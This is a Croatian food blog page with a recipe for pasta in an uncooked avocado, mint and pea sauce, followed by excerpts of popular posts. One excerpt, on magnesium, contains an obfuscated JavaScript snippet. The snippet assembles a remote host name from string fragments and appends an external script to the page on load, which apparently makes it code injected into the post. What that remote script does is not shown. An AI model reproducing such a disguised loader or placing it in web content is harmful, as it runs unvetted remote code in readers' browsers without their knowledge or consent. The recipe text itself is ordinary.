TJESTENINA S AVOKADOM, GRAŠKOM I MENTOM 🥑




Tjestenina s avokadom, graškom i mentom 




Tjestenina s avokadom, graškom i mentom odličan je izbor kada tražite ideju za brz, lagan i hranjiv obrok. Umak se ne kuha – dovoljno je nekoliko sastojaka usitniti u blenderu i u svega nekoliko minuta dobit ćete svilenkastu kremu koja savršeno obavija tjesteninu.





Tjestenina s avokadom, graškom i mentom 


Sastojci:

  • 375 g tjestenine po izboru
  • 1 veliki avokado
  • 2 češnja češnjaka
  • 2 žlice kokosova ulja, otopljenog (30 ml)
  • ½ čajne žličice soli
  • sok i naribana korica 1 limuna
  • 6 listića svježe mente
  • 150 g svježeg ili odmrznutog graška
  • 1 veća crvena čili papričica (po želji)



Priprema:

  1. Tjesteninu skuhajte prema uputama na pakiranju. Ocijedite je, pritom sačuvajte nekoliko žlica vode od kuhanja ako će vam kasnije zatrebati za razrjeđivanje umaka.
  2. Avokado prerežite, uklonite košticu i žlicom izdubite meso. Stavite ga u blender zajedno s češnjakom, otopljenim kokosovim uljem, soli, limunovim sokom, naribanom koricom limuna, listićima mente i 4 žlice vode.
  3. Miksajte dok ne dobijete potpuno gladak i kremast umak. Ako je pregust, dodajte još 1 do 2 žlice vode ili malo sačuvane vode od kuhanja tjestenine te ponovno kratko izmiksajte.
  4. Kuhanu tjesteninu stavite u veću zdjelu, prelijte umakom od avokada i dodajte grašak. Sve dobro promiješajte kako bi se umak ravnomjerno rasporedio po tjestenini.
  5. Po želji preko gotovog jela naribajte ili sitno nasjeckajte svježu crvenu čili papričicu za pikantniji okus.
  6. Poslužite odmah, dok je tjestenina još topla.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više